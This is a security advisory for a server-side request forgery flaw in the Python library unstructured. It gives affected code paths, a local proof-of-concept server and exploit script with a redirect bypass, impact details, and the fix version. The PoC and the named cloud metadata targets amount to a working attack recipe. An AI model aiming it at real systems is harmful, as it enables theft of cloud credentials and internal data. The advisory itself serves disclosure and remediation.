GHSA-4mvj-m6j5-pmf7: SSRF
Summary
Server-Side Request Forgery in unstructured. The url= argument of partition(), partitionhtml(), and partitionmd() is fetched via requests.get() with no host validation. The response body is returned as Element text, so this is a full-read SSRF — attackers reach loopback admin APIs, internal HTTP services, and cloud metadata endpoints, and read the response.
unstructured is the de facto URL ingestion layer for LangChain UnstructuredURLLoader, LlamaIndex UnstructuredReader, Chainlit, and many agent frameworks — secure defaults must live in the library, not in every downstream caller.
Details
Three sinks, all in unstructured == 0.22.26 (verified on main at 199f255):
- unstructured/partition/auto.py:303 — fileandtypefromurl(), reached via partition(url=…). - unstructured/partition/html/partition.py:160 — partitionhtml(url=…). Post-fetch Content-Type check runs after the request hits the target. - unstructured/partition/md.py:96 — partitionmd(url=…). No timeout (SSRF + slow-loris DoS).
None of isprivate, isloopback, ipaddress, gethostbyname, or allowredirects appear in any of the three files. Three exploitation paths apply: direct private-IP target; redirect bypass (allowredirects=True default); DNS rebinding (TOCTOU, closeable only by socket-pinning). Affected since 0.4.7 (Feb 2023) — ~219 releases, no validation ever introduced.
PoC
Local-only. pip install unstructured==0.22.26 flask requests.
internalserver.py:
python from flask import Flask, Response, jsonify app = Flask(name)
@app.route("/imds") def imds(): return jsonify({"AccessKeyId": "ASIA-FAKE", "SecretAccessKey": "FAKE/SECRET"})
@app.route("/internal.html") def html(): return Response("<html><body><p>SKLEAK42</p></body></html>", mimetype="text/html")
@app.route("/redir") def redir(): return Response("", 302, headers={"Location": "http://127.0.0.1:9999/imds"})
if name == "main": app.run(host="127.0.0.1", port=9999)
exploit.py — uses the public top-level API:
python Stub NLP helpers so the offline sandbox skips spaCy model download. Does NOT affect the SSRF (which lives in the URL fetcher, before NLP). import unstructured.nlp.tokenize as tk, unstructured.partition.texttype as tt tk.senttokenize = tt.senttokenize = lambda t: [s for s in (t or "").split(". ") if s] tk.wordtokenize = tt.wordtokenize = lambda t: (t or "").split() tk.postag = tt.postag = lambda t: [(w, "NN") for w in (t or "").split()]
from unstructured.partition.auto import partition L = "http://127.0.0.1:9999"
A: partition(url=...) leaks internal HTML body assert "SKLEAK42" in "\n".join(str(e) for e in partition(url=f"{L}/internal.html", languages=["eng"])) B: redirect bypass reaches simulated IMDS assert "SecretAccessKey" in "\n".join(str(e) for e in partition(url=f"{L}/redir", languages=["eng"])) print("PoC OK")
In production the attacker substitutes 169.254.169.254, metadata.google.internal, or any internal address.
Impact
Attacker capabilities:
- Internal HTTP service read — loopback admin consoles, internal Elasticsearch/Redis/Consul/etcd HTTP fronts, Kubernetes API server, social/internal microservices. This is the most broadly exploitable capability and is unaffected by any cloud-side hardening. - Cloud instance metadata access — reads metadata services that respond to unauthenticated GETs: GCP (metadata.google.internal), Azure IMDS, Oracle Cloud, DigitalOcean, and EC2 instances still configured for IMDSv1 (which remains widely deployed in older accounts and in services that do not enforce IMDSv2-only). EC2 instances configured as IMDSv2-only are not exposed to direct credential theft via this SSRF, since IMDSv2 requires a PUT for token acquisition; the SSRF still reaches the endpoint for reconnaissance and surface-mapping. - Side-effecting GET endpoints — magic-link consumers, job triggers, link-preview generators reachable on internal networks. - Internal network reconnaissance — connection success/failure timing and error messages serve as a port and service scanner.
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
pip/unstructuredto a version that resolves this vulnerability.Fixed in 0.24.0
Event History
Frequently Asked Questions
Which applications are most likely to be exposed?
Applications that pass attacker-controlled URLs to unstructured's partition(), partition_html(), or partition_md() are exposed. This can include integrations using LangChain UnstructuredURLLoader, LlamaIndex UnstructuredReader, Chainlit, and other agent frameworks that use unstructured for URL ingestion.
What does an attacker need to exploit this issue?
An attacker needs to control the value supplied through the url= argument to one of the affected functions. The library then fetches that URL with requests.get() without host validation, allowing access to loopback, internal HTTP, or cloud metadata endpoints reachable from the running process.
Can an attacker read internal responses, or only trigger requests?
They can read responses. The fetched response body is returned as Element text, making this a full-read SSRF rather than a blind request-only condition.
How can I determine whether my deployment is affected?
The issue was verified in unstructured 0.22.26. Review whether that version is deployed and whether application-controlled or user-controlled input can reach url= in partition(), partition_html(), or partition_md().
Is there an availability impact in addition to SSRF?
partition_md() has no timeout, which can permit a slow-loris-style denial of service in addition to SSRF. The provided data does not identify timeout protections in the other affected URL-fetching paths.